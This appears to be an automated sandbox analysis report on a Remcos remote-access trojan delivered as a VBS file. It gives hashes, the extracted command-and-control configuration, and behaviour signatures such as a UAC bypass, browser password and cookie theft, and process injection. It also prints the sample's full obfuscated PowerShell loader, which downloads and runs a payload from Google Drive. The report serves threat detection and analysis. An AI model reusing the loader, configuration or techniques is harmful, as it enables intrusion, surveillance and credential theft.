remcos | a32cdb962eeaaf9f445636b5c5371300d0f33676a904841232c42823e924adf6

Analysis

max time kernel
149s
max time network
149s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
05/11/2024, 04:04

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

Solicitați comanda p78460.vbs
Size

14KB
MD5

c80bf6e7394bfdb6d31aef11b1e31b68
SHA1

88b6b74da0a06427ec9e502378ea374cfdd0afea
SHA256

36b44229a81fa005512ea72195083c77844fbd5339c7afb9eaea4505774c1753
SHA512

0df5a54efc36aedae60888c7c241da206e9755db164a18e4bdd969bbd0b4b88b1b8474d6749ceba540d75c0b189964db3ff4989f6acf4f397b7a4642a52a92cf
SSDEEP

192:4FbstrlpW7xBpgpnvxLPj8xNbBzLS+cr7rSF9rqQRiHu2lXU8sIOmfSZzx+Xn:SbO6pgpnvlk578WF9rfGSvn5kXn

Score

10^/10

remcos remotehost collection credential_access discovery evasion rat stealer trojan

Malware Config

Extracted

Family

remcos

Botnet

RemoteHost

6dp5nq4du.duckdns.org:2852

Attributes

audio_folder
MicRecords
audio_path
ApplicationPath
audio_record_time
5
connect_delay
0
connect_interval
1
copy_file
remcos.exe
copy_folder
Remcos
delete_file
false
hide_file
false
hide_keylog_file
false
install_flag
false
keylog_crypt
true
keylog_file
logs.dat
keylog_flag
false
keylog_folder
remcos
mouse_option
false
mutex
Rmc-M09H81
screenshot_crypt
false
screenshot_flag
false
screenshot_folder
Screenshots
screenshot_path
%AppData%
screenshot_time
10
take_screenshot_option
false
take_screenshot_time
5

Signatures

Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos
Remcos family
remcos

UAC bypass 3 TTPs 1 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	reg.exe

Detected Nirsoft tools 3 IoCs

Free utilities often used by attackers which can steal passwords, product keys, etc.

resource	yara_rule
behavioral2/memory/4316-75-0x0000000000400000-0x0000000000462000-memory.dmp	Nirsoft
behavioral2/memory/1704-81-0x0000000000400000-0x0000000000424000-memory.dmp	Nirsoft
behavioral2/memory/2228-74-0x0000000000400000-0x0000000000478000-memory.dmp	Nirsoft

NirSoft MailPassView 1 IoCs

Password recovery tool for various email clients

resource	yara_rule
behavioral2/memory/4316-75-0x0000000000400000-0x0000000000462000-memory.dmp	MailPassView

NirSoft WebBrowserPassView 1 IoCs

Password recovery tool for various web browsers

resource	yara_rule
behavioral2/memory/2228-74-0x0000000000400000-0x0000000000478000-memory.dmp	WebBrowserPassView

Blocklisted process makes network request 13 IoCs

flow	pid	Process
3	2796	WScript.exe
8	3384	powershell.exe
11	3384	powershell.exe
33	2232	msiexec.exe
35	2232	msiexec.exe
37	2232	msiexec.exe
39	2232	msiexec.exe
43	2232	msiexec.exe
56	2232	msiexec.exe
57	2232	msiexec.exe
58	2232	msiexec.exe
59	2232	msiexec.exe
61	2232	msiexec.exe

Uses browser remote debugging 2 TTPs 9 IoCs

Can be used control the browser and steal sensitive information such as credentials and session cookies.

credential_access stealer

Steal Web Session Cookie

T1539

Modify Authentication Process

T1556

pid	Process
2400	msedge.exe
2088	Chrome.exe
836	Chrome.exe
4148	msedge.exe
4056	msedge.exe
1068	msedge.exe
2092	Chrome.exe
3812	Chrome.exe
3932	msedge.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000\Control Panel\International\Geo\Nation	WScript.exe

Accesses Microsoft Outlook accounts 1 TTPs 1 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts	msiexec.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs

Web Service

T1102

flow	ioc
7	drive.google.com
8	drive.google.com
33	drive.google.com

Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs

pid	Process
2232	msiexec.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

pid	Process
4268	powershell.exe
2232	msiexec.exe

Suspicious use of SetThreadContext 3 IoCs

description	pid	Process	procid_target
PID 2232 set thread context of 2228	2232	msiexec.exe	105
PID 2232 set thread context of 4316	2232	msiexec.exe	106
PID 2232 set thread context of 1704	2232	msiexec.exe	107

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 7 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	msiexec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	msiexec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	msiexec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	msiexec.exe

Enumerates system info in registry 2 TTPs 6 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	Chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	Chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	Chrome.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\	msedge.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
1380	reg.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
3384	powershell.exe
3384	powershell.exe
4268	powershell.exe
4268	powershell.exe
4268	powershell.exe
2228	msiexec.exe
2228	msiexec.exe
1704	msiexec.exe
1704	msiexec.exe
2232	msiexec.exe
2232	msiexec.exe
2232	msiexec.exe
2232	msiexec.exe
2232	msiexec.exe
2232	msiexec.exe
2232	msiexec.exe
2232	msiexec.exe
2232	msiexec.exe
2232	msiexec.exe
2232	msiexec.exe
2228	msiexec.exe
2228	msiexec.exe
2232	msiexec.exe
2232	msiexec.exe
2232	msiexec.exe
2232	msiexec.exe
2232	msiexec.exe
2232	msiexec.exe
2232	msiexec.exe
2232	msiexec.exe
2232	msiexec.exe
2232	msiexec.exe
2232	msiexec.exe
2232	msiexec.exe
2232	msiexec.exe
2232	msiexec.exe
2232	msiexec.exe
2092	Chrome.exe
2092	Chrome.exe
2232	msiexec.exe
2232	msiexec.exe
2232	msiexec.exe
2232	msiexec.exe
2232	msiexec.exe
2232	msiexec.exe
2232	msiexec.exe
2232	msiexec.exe
2232	msiexec.exe
2232	msiexec.exe
2232	msiexec.exe
2232	msiexec.exe
2232	msiexec.exe
2232	msiexec.exe
2232	msiexec.exe
2232	msiexec.exe
2232	msiexec.exe
2232	msiexec.exe
2232	msiexec.exe
2232	msiexec.exe
2232	msiexec.exe
2232	msiexec.exe
2232	msiexec.exe
2232	msiexec.exe
2232	msiexec.exe

Suspicious behavior: MapViewOfSection 4 IoCs

pid	Process
4268	powershell.exe
2232	msiexec.exe
2232	msiexec.exe
2232	msiexec.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 4 IoCs

pid	Process
3932	msedge.exe
3932	msedge.exe
3932	msedge.exe
3932	msedge.exe

Suspicious use of AdjustPrivilegeToken 21 IoCs

description	pid	Process
Token: SeDebugPrivilege	3384	powershell.exe
Token: SeDebugPrivilege	4268	powershell.exe
Token: SeDebugPrivilege	1704	msiexec.exe
Token: SeShutdownPrivilege	2092	Chrome.exe
Token: SeCreatePagefilePrivilege	2092	Chrome.exe
Token: SeShutdownPrivilege	2092	Chrome.exe
Token: SeCreatePagefilePrivilege	2092	Chrome.exe
Token: SeShutdownPrivilege	2092	Chrome.exe
Token: SeCreatePagefilePrivilege	2092	Chrome.exe
Token: SeShutdownPrivilege	2092	Chrome.exe
Token: SeCreatePagefilePrivilege	2092	Chrome.exe
Token: SeShutdownPrivilege	2092	Chrome.exe
Token: SeCreatePagefilePrivilege	2092	Chrome.exe
Token: SeShutdownPrivilege	2092	Chrome.exe
Token: SeCreatePagefilePrivilege	2092	Chrome.exe
Token: SeShutdownPrivilege	2092	Chrome.exe
Token: SeCreatePagefilePrivilege	2092	Chrome.exe
Token: SeShutdownPrivilege	2092	Chrome.exe
Token: SeCreatePagefilePrivilege	2092	Chrome.exe
Token: SeShutdownPrivilege	2092	Chrome.exe
Token: SeCreatePagefilePrivilege	2092	Chrome.exe

Suspicious use of FindShellTrayWindow 3 IoCs

pid	Process
2092	Chrome.exe
3932	msedge.exe
3932	msedge.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
2232	msiexec.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2796 wrote to memory of 3384	2796	WScript.exe	84
PID 2796 wrote to memory of 3384	2796	WScript.exe	84
PID 4268 wrote to memory of 2232	4268	powershell.exe	98
PID 4268 wrote to memory of 2232	4268	powershell.exe	98
PID 4268 wrote to memory of 2232	4268	powershell.exe	98
PID 4268 wrote to memory of 2232	4268	powershell.exe	98
PID 2232 wrote to memory of 3028	2232	msiexec.exe	101
PID 2232 wrote to memory of 3028	2232	msiexec.exe	101
PID 2232 wrote to memory of 3028	2232	msiexec.exe	101
PID 3028 wrote to memory of 1380	3028	cmd.exe	103
PID 3028 wrote to memory of 1380	3028	cmd.exe	103
PID 3028 wrote to memory of 1380	3028	cmd.exe	103
PID 2232 wrote to memory of 2228	2232	msiexec.exe	105
PID 2232 wrote to memory of 2228	2232	msiexec.exe	105
PID 2232 wrote to memory of 2228	2232	msiexec.exe	105
PID 2232 wrote to memory of 2228	2232	msiexec.exe	105
PID 2232 wrote to memory of 4316	2232	msiexec.exe	106
PID 2232 wrote to memory of 4316	2232	msiexec.exe	106
PID 2232 wrote to memory of 4316	2232	msiexec.exe	106
PID 2232 wrote to memory of 4316	2232	msiexec.exe	106
PID 2232 wrote to memory of 1704	2232	msiexec.exe	107
PID 2232 wrote to memory of 1704	2232	msiexec.exe	107
PID 2232 wrote to memory of 1704	2232	msiexec.exe	107
PID 2232 wrote to memory of 1704	2232	msiexec.exe	107
PID 2232 wrote to memory of 2092	2232	msiexec.exe	108
PID 2232 wrote to memory of 2092	2232	msiexec.exe	108
PID 2092 wrote to memory of 4816	2092	Chrome.exe	109
PID 2092 wrote to memory of 4816	2092	Chrome.exe	109
PID 2092 wrote to memory of 4792	2092	Chrome.exe	110
PID 2092 wrote to memory of 4792	2092	Chrome.exe	110
PID 2092 wrote to memory of 4792	2092	Chrome.exe	110
PID 2092 wrote to memory of 4792	2092	Chrome.exe	110
PID 2092 wrote to memory of 4792	2092	Chrome.exe	110
PID 2092 wrote to memory of 4792	2092	Chrome.exe	110
PID 2092 wrote to memory of 4792	2092	Chrome.exe	110
PID 2092 wrote to memory of 4792	2092	Chrome.exe	110
PID 2092 wrote to memory of 4792	2092	Chrome.exe	110
PID 2092 wrote to memory of 4792	2092	Chrome.exe	110
PID 2092 wrote to memory of 4792	2092	Chrome.exe	110
PID 2092 wrote to memory of 4792	2092	Chrome.exe	110
PID 2092 wrote to memory of 4792	2092	Chrome.exe	110
PID 2092 wrote to memory of 4792	2092	Chrome.exe	110
PID 2092 wrote to memory of 4792	2092	Chrome.exe	110
PID 2092 wrote to memory of 4792	2092	Chrome.exe	110
PID 2092 wrote to memory of 4792	2092	Chrome.exe	110
PID 2092 wrote to memory of 4792	2092	Chrome.exe	110
PID 2092 wrote to memory of 4792	2092	Chrome.exe	110
PID 2092 wrote to memory of 4792	2092	Chrome.exe	110
PID 2092 wrote to memory of 4792	2092	Chrome.exe	110
PID 2092 wrote to memory of 4792	2092	Chrome.exe	110
PID 2092 wrote to memory of 4792	2092	Chrome.exe	110
PID 2092 wrote to memory of 4792	2092	Chrome.exe	110
PID 2092 wrote to memory of 4792	2092	Chrome.exe	110
PID 2092 wrote to memory of 4792	2092	Chrome.exe	110
PID 2092 wrote to memory of 4792	2092	Chrome.exe	110
PID 2092 wrote to memory of 4792	2092	Chrome.exe	110
PID 2092 wrote to memory of 4792	2092	Chrome.exe	110
PID 2092 wrote to memory of 4792	2092	Chrome.exe	110
PID 2092 wrote to memory of 3112	2092	Chrome.exe	111
PID 2092 wrote to memory of 3112	2092	Chrome.exe	111
PID 2092 wrote to memory of 748	2092	Chrome.exe	112
PID 2092 wrote to memory of 748	2092	Chrome.exe	112
PID 2092 wrote to memory of 748	2092	Chrome.exe	112
PID 2092 wrote to memory of 748	2092	Chrome.exe	112

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Solicitați comanda p78460.vbs"
1⤵
- Blocklisted process makes network request
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2796
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" " <#Unshadow Teia Translated Trumbash Kommiserne Unorational Zea #>;$Kadence='Metricizes';<#Tndende Confiserie Tnkningers #>; function Condonement($Bedimple){If ($host.DebuggerEnabled) {$Subcaptaincy++;}$Sydhavnen=$Underdelene+$Bedimple.'Length' - $Subcaptaincy; for ( $Speedbaadenes=4;$Speedbaadenes -lt $Sydhavnen;$Speedbaadenes+=5){$Dispositionernes=$Speedbaadenes;$Tensaw+=$Bedimple[$Speedbaadenes];}$Tensaw;}function Begejstret($renotification){ & ($Proparent) ($renotification);}$Chloride=Condonement 'HartMSkrioProczbjeri S.hlbldnl.siaaProd/ an ';$Centralenhedens=Condonement ',ulpTBi.olUdlss Acy1Pjec2m,ld ';$Uhyrernes='Mono[CuraNAfkrET rntCrim.HuxlSMultEReinR TvrvPhotIBremCswalEBehypFuseo silIF.den HomtDiscM mmua tednSkriA yrpG koeTexaR Bef]Naad:Unde:EvidS KeneAm rCTaasURekoRskrai U atthrayQuadP PetrExp.OLinjTUni,O TilcInd.oCrouLBemr=Lipp$PryeCSob,ED gtnTeletSkudrEfteA humLSpasEDec,NH unhcoryeEkspD Ly,eslvpNt beS th ';$Chloride+=Condonement 'Symp5Jens.Beri0Hjpa F r(Ski,W Adei Cehn FeddEf eobandwOutgsFa.l godtNHernTS gt Sia,1O er0Hv s.,emi0Ords;Dege NedWMismi ysnCon 6Besy4Unco;Re.a Fdevxskra6 non4indl;Ku,i AnafrN ntvSurl:Brut1bowm3Sign1M.na.Butt0Geo.)Outg Mi rG PhieSkatc AchkDis o Aph/ ele2glar0Stem1Poch0Akko0Ant,1Supe0Fulg1St n UhelF UgyiDis.rEfteeFi ofBa voAnlgxEne,/Draw1Fase3Opva1Sad .Auro0Unga ';$Metred=Condonement 'SemiUPolySslkkeKvisrGent-IsenatilegRi pE arbn.erit ide ';$Staveren=Condonement ' Pyrh inktIn etLocapUnsts Cut:D wy/rest/ApprdAflerGeopiUltrvTeeneWitt.BisogcadooNonpoSkovg FedlStopeInds.EphycTrbeoEpitmH ut/ dkluWinzcPlan? ZooePharx UdnpForboAfvrrNemmtSp d=Exi drep.o ,rawEnernPhenlAh aoS rraFrihd Flh& Divi NondKa.e=Imme1 LovDJuicYR.ak3OphaH ron_t in3Ca oZTermOLen OUn.cHElapuForm_ BruyPermw FrspAfmaR Fa,erhomCPompYJe ur BrecWee HApprn Re Z edsADimsv lutxAzurbInteBTremNProggLuniL Rub ';$sprogtalentets=Condonement 'Farv>Brit ';$Proparent=Condonement 'CongIHy,pe U mXSalg ';$Snowfield='Phonoreceptor';$Speedbaadenesnfiltrede='\Kbstadboerne8.tid';Begejstret (Condonement 'Buni$RaseGpennLSoteOBalsBT ikAUn slFrug:Rumft sseiDdslLBlanTTracaSoc lAllaESk bnS.ja=mrkb$E.treTretnOvicvH,ct:TjenaXantpGalvP voudErytA.hatt ReaaEb i+Lava$ParasImpepBdetESy aeKsesD FisbBullA A mA PaaDArbeeAn tnS.onE,ordSMu in,trufDic,I KosLSit t UnsRRim.EP stdKa,mE kan ');Begejstret (Condonement ' m.r$DalegApriLRaadoompoBSup,a S rlSylp:GratTRe,irH ndaPos fsejlinaviK Dipf SafL UnfY upEPa enChroe RecSFul =Sten$MesosFlelTBefoAMetovErnreS.torNoneeSympN G.y.AskaS kspDeo L ramITutrtCert(R nt$Dotis Ov PHa vRDeteoAl nGKrysTSn,bABa yLfantEWarnNArtit .uneA,tethonnS for) po ');Begejstret (Condonement $Uhyrernes);$Staveren=$trafikflyenes[0];$Blea15=(Condonement 'Bred$PaadgbuddlTra OFormB p ea Yumlinac:For N BegAEulor MatRErnr=Def.n LeveBartW Gal-T,llo PlabBacoj S,deK nocExcot K l Est,s S rYComps Re,tBrideBreeMLivm. T lNProfEFurot Tan.NortWEdi E ompBHospcStadlSme IU lieCha NModuT Sel ');Begejstret ($Blea15);Begejstret (Condonement 'Kris$UdviNAutoaBannrStanr Gla.scytHpreoeEguraAxmidP gheS.agrSupesUlce[Ca e$CompM TubeE.ketReflrNyanehalvdV,ri] Tea= ael$ AdmCTendh KrolNeuro odrP neihustd De.eKar, ');$Strikvarers=Condonement 'Bai,$PalaNPul aRinnr UnprPlum.IkenDIlteo GenwChevnVrv lBakho myaDispdGe,sFFet iAberl illePens(G,pe$For SStopt Snaa envRouteE sir ReneStv.nPho ,St.l$ IliCSvo,aQuesrOvercReinoNo.coprisnHlqn) G r ';$Carcoon=$Tiltalen;Begejstret (Condonement ' mad$ TanGTrykLhjtiOmo obStryACortlpira:u vls Fo.EFimbm ifaaT kssRafeiTreeoN.nslCom o upeg veryFert= Tro(SawatMantePampsIndtT.oen-TidspSynkafa,bTF.ldHStar Dune$KragC Ph,aBackr Sd CDetooZincoFo.mnSel,) Ven ');while (!$Semasiology) {Begejstret (Condonement 'Hi h$Fra gSanslBarooAvlebDi haKon.lEfte:BktaEMngdk e osAfgiaOpfimHo ei ryonHijaaKocmt siooprinrStrueNonwrForesStup=Hono$ SputUd ar rusuBenfe Gri ') ;Begejstret $Strikvarers;Begejstret (Condonement 'SwedSVareT NytaRefoRRaketCoun-PrecS rnlU gaE HanEVirkPBi.e Ske 4Galm ');Begejstret (Condonement ' Out$ SupgPr dlMuddoSid bstenAOve LEne.: Fa S UnyeCataMNonaaDi csRu siBlanoOplul PugoMorbGMappy pid=Isep(Corrt Wa.EPersSP,iot Flo- punPRypeaNonrt rieHstni ve e$Coopc angaTr wRAutoCS,dnO O,ko m nnAtta)Kata ') ;Begejstret (Condonement ' L n$ W rgEfteL heOSur BB keArutsl Ref: A tPfa tOFresl ReiIO,tit AtiB.ummUWeatrKlubEFlorAAandUUnpeE Da.ROprasSvkk=Wood$Imp,GChuflRastO mbob CirA,topL und: ForUShyur De.aPh nNChorBUdipe PhorUnprIKonfgB,useAfklLbierSi onE Amp+Chil+Fl.r% ent$SomntfuglRDetaAValufPathiKonsKSweefBlitlEgotyreume SulNsam ESte,SHypn. ogpc akoO RedU rsen S pTPseu ') ;$Staveren=$trafikflyenes[$Politbureauers];}$Tilforladeligere=298086;$Racercyklernes=30728;Begejstret (Condonement 'S,if$DepaGSamlL N uOParab oveACol.LSlag:TabeGOrthrJazze.ardngocaa onAantheBrnenKjorS syeWee R I.f om=Nee HangatheE ContClou-Co vCVarmOBogmn P,ttPreteKaffnB nktBill Bo y$ H,ecM siAConfrTe,tcYo ioHostoApe,NType ');Begejstret (Condonement ' on$ UrrgstbelOveroTannbOveraBarsl P o:DdspCStaroGra.l estl GngiThrecPourl Ey eChar Gasf=i,ma akra[ NonSImmoy irs Hypt unaeFyrrmGa.o. allCU tro OphnSiddvKo.keKlavrAttat Ar ]Frem:Trev:HoejFK rrr Bero opmm eguBC tca KapsApinevejr6Rein4SkriSEpittPaulr EuliHovenStamgLuft(Styr$,ishg sodr RaneE tenGeekaFlova RiseOmsknBiassSvrmeRestrDeco)Unin ');Begejstret (Condonement 'Skue$ SinGStviL Soco BinBUnorAS alLU,de:BaltS jerHSdrra ,idF,kroTNeug Fran=kart Form[PostsNondy RidspulvtTe te isMSeri.KonstDistECo kxhaa tPun .Dip EEkspn Musc FyrOSjledDagbIUn unShe gMod,] nlg: ,tn: CruAU.grs olacEctrIFo bI kla. Sk gRehaeconct MucsAn it.tudRH poIM.idNSpeag Rou(Ind,$ S.lcMonoO AdeLSpydlDet.I F rCFalsl Sp eBid ) Tr ');Begejstret (Condonement 'Hand$,ockgGra lunifoKy.ebTilba agslTesc: ConsBestaNeglls neR.ram= Res$SpadsB hoHTil,a errFmoldTAver. PasSE ilUSlvsB neqsFritTEdu RBemyI DupN.antgProl(Kryp$SkeptBrn iJ hnLSjlefVensOFotoRana,LreedaLancDQua E tjel BehIOmdeGPrebEo terVa,ueGodm,Opha$M,narHackAHospC andesup ROmgrC.atryG arkBlodlHe teInt RVandNJoulesterS Gra) Di, ');Begejstret $salr;"
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3384

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" " <#Unshadow Teia Translated Trumbash Kommiserne Unorational Zea #>;$Kadence='Metricizes';<#Tndende Confiserie Tnkningers #>; function Condonement($Bedimple){If ($host.DebuggerEnabled) {$Subcaptaincy++;}$Sydhavnen=$Underdelene+$Bedimple.'Length' - $Subcaptaincy; for ( $Speedbaadenes=4;$Speedbaadenes -lt $Sydhavnen;$Speedbaadenes+=5){$Dispositionernes=$Speedbaadenes;$Tensaw+=$Bedimple[$Speedbaadenes];}$Tensaw;}function Begejstret($renotification){ & ($Proparent) ($renotification);}$Chloride=Condonement 'HartMSkrioProczbjeri S.hlbldnl.siaaProd/ an ';$Centralenhedens=Condonement ',ulpTBi.olUdlss Acy1Pjec2m,ld ';$Uhyrernes='Mono[CuraNAfkrET rntCrim.HuxlSMultEReinR TvrvPhotIBremCswalEBehypFuseo silIF.den HomtDiscM mmua tednSkriA yrpG koeTexaR Bef]Naad:Unde:EvidS KeneAm rCTaasURekoRskrai U atthrayQuadP PetrExp.OLinjTUni,O TilcInd.oCrouLBemr=Lipp$PryeCSob,ED gtnTeletSkudrEfteA humLSpasEDec,NH unhcoryeEkspD Ly,eslvpNt beS th ';$Chloride+=Condonement 'Symp5Jens.Beri0Hjpa F r(Ski,W Adei Cehn FeddEf eobandwOutgsFa.l godtNHernTS gt Sia,1O er0Hv s.,emi0Ords;Dege NedWMismi ysnCon 6Besy4Unco;Re.a Fdevxskra6 non4indl;Ku,i AnafrN ntvSurl:Brut1bowm3Sign1M.na.Butt0Geo.)Outg Mi rG PhieSkatc AchkDis o Aph/ ele2glar0Stem1Poch0Akko0Ant,1Supe0Fulg1St n UhelF UgyiDis.rEfteeFi ofBa voAnlgxEne,/Draw1Fase3Opva1Sad .Auro0Unga ';$Metred=Condonement 'SemiUPolySslkkeKvisrGent-IsenatilegRi pE arbn.erit ide ';$Staveren=Condonement ' Pyrh inktIn etLocapUnsts Cut:D wy/rest/ApprdAflerGeopiUltrvTeeneWitt.BisogcadooNonpoSkovg FedlStopeInds.EphycTrbeoEpitmH ut/ dkluWinzcPlan? ZooePharx UdnpForboAfvrrNemmtSp d=Exi drep.o ,rawEnernPhenlAh aoS rraFrihd Flh& Divi NondKa.e=Imme1 LovDJuicYR.ak3OphaH ron_t in3Ca oZTermOLen OUn.cHElapuForm_ BruyPermw FrspAfmaR Fa,erhomCPompYJe ur BrecWee HApprn Re Z edsADimsv lutxAzurbInteBTremNProggLuniL Rub ';$sprogtalentets=Condonement 'Farv>Brit ';$Proparent=Condonement 'CongIHy,pe U mXSalg ';$Snowfield='Phonoreceptor';$Speedbaadenesnfiltrede='\Kbstadboerne8.tid';Begejstret (Condonement 'Buni$RaseGpennLSoteOBalsBT ikAUn slFrug:Rumft sseiDdslLBlanTTracaSoc lAllaESk bnS.ja=mrkb$E.treTretnOvicvH,ct:TjenaXantpGalvP voudErytA.hatt ReaaEb i+Lava$ParasImpepBdetESy aeKsesD FisbBullA A mA PaaDArbeeAn tnS.onE,ordSMu in,trufDic,I KosLSit t UnsRRim.EP stdKa,mE kan ');Begejstret (Condonement ' m.r$DalegApriLRaadoompoBSup,a S rlSylp:GratTRe,irH ndaPos fsejlinaviK Dipf SafL UnfY upEPa enChroe RecSFul =Sten$MesosFlelTBefoAMetovErnreS.torNoneeSympN G.y.AskaS kspDeo L ramITutrtCert(R nt$Dotis Ov PHa vRDeteoAl nGKrysTSn,bABa yLfantEWarnNArtit .uneA,tethonnS for) po ');Begejstret (Condonement $Uhyrernes);$Staveren=$trafikflyenes[0];$Blea15=(Condonement 'Bred$PaadgbuddlTra OFormB p ea Yumlinac:For N BegAEulor MatRErnr=Def.n LeveBartW Gal-T,llo PlabBacoj S,deK nocExcot K l Est,s S rYComps Re,tBrideBreeMLivm. T lNProfEFurot Tan.NortWEdi E ompBHospcStadlSme IU lieCha NModuT Sel ');Begejstret ($Blea15);Begejstret (Condonement 'Kris$UdviNAutoaBannrStanr Gla.scytHpreoeEguraAxmidP gheS.agrSupesUlce[Ca e$CompM TubeE.ketReflrNyanehalvdV,ri] Tea= ael$ AdmCTendh KrolNeuro odrP neihustd De.eKar, ');$Strikvarers=Condonement 'Bai,$PalaNPul aRinnr UnprPlum.IkenDIlteo GenwChevnVrv lBakho myaDispdGe,sFFet iAberl illePens(G,pe$For SStopt Snaa envRouteE sir ReneStv.nPho ,St.l$ IliCSvo,aQuesrOvercReinoNo.coprisnHlqn) G r ';$Carcoon=$Tiltalen;Begejstret (Condonement ' mad$ TanGTrykLhjtiOmo obStryACortlpira:u vls Fo.EFimbm ifaaT kssRafeiTreeoN.nslCom o upeg veryFert= Tro(SawatMantePampsIndtT.oen-TidspSynkafa,bTF.ldHStar Dune$KragC Ph,aBackr Sd CDetooZincoFo.mnSel,) Ven ');while (!$Semasiology) {Begejstret (Condonement 'Hi h$Fra gSanslBarooAvlebDi haKon.lEfte:BktaEMngdk e osAfgiaOpfimHo ei ryonHijaaKocmt siooprinrStrueNonwrForesStup=Hono$ SputUd ar rusuBenfe Gri ') ;Begejstret $Strikvarers;Begejstret (Condonement 'SwedSVareT NytaRefoRRaketCoun-PrecS rnlU gaE HanEVirkPBi.e Ske 4Galm ');Begejstret (Condonement ' Out$ SupgPr dlMuddoSid bstenAOve LEne.: Fa S UnyeCataMNonaaDi csRu siBlanoOplul PugoMorbGMappy pid=Isep(Corrt Wa.EPersSP,iot Flo- punPRypeaNonrt rieHstni ve e$Coopc angaTr wRAutoCS,dnO O,ko m nnAtta)Kata ') ;Begejstret (Condonement ' L n$ W rgEfteL heOSur BB keArutsl Ref: A tPfa tOFresl ReiIO,tit AtiB.ummUWeatrKlubEFlorAAandUUnpeE Da.ROprasSvkk=Wood$Imp,GChuflRastO mbob CirA,topL und: ForUShyur De.aPh nNChorBUdipe PhorUnprIKonfgB,useAfklLbierSi onE Amp+Chil+Fl.r% ent$SomntfuglRDetaAValufPathiKonsKSweefBlitlEgotyreume SulNsam ESte,SHypn. ogpc akoO RedU rsen S pTPseu ') ;$Staveren=$trafikflyenes[$Politbureauers];}$Tilforladeligere=298086;$Racercyklernes=30728;Begejstret (Condonement 'S,if$DepaGSamlL N uOParab oveACol.LSlag:TabeGOrthrJazze.ardngocaa onAantheBrnenKjorS syeWee R I.f om=Nee HangatheE ContClou-Co vCVarmOBogmn P,ttPreteKaffnB nktBill Bo y$ H,ecM siAConfrTe,tcYo ioHostoApe,NType ');Begejstret (Condonement ' on$ UrrgstbelOveroTannbOveraBarsl P o:DdspCStaroGra.l estl GngiThrecPourl Ey eChar Gasf=i,ma akra[ NonSImmoy irs Hypt unaeFyrrmGa.o. allCU tro OphnSiddvKo.keKlavrAttat Ar ]Frem:Trev:HoejFK rrr Bero opmm eguBC tca KapsApinevejr6Rein4SkriSEpittPaulr EuliHovenStamgLuft(Styr$,ishg sodr RaneE tenGeekaFlova RiseOmsknBiassSvrmeRestrDeco)Unin ');Begejstret (Condonement 'Skue$ SinGStviL Soco BinBUnorAS alLU,de:BaltS jerHSdrra ,idF,kroTNeug Fran=kart Form[PostsNondy RidspulvtTe te isMSeri.KonstDistECo kxhaa tPun .Dip EEkspn Musc FyrOSjledDagbIUn unShe gMod,] nlg: ,tn: CruAU.grs olacEctrIFo bI kla. Sk gRehaeconct MucsAn it.tudRH poIM.idNSpeag Rou(Ind,$ S.lcMonoO AdeLSpydlDet.I F rCFalsl Sp eBid ) Tr ');Begejstret (Condonement 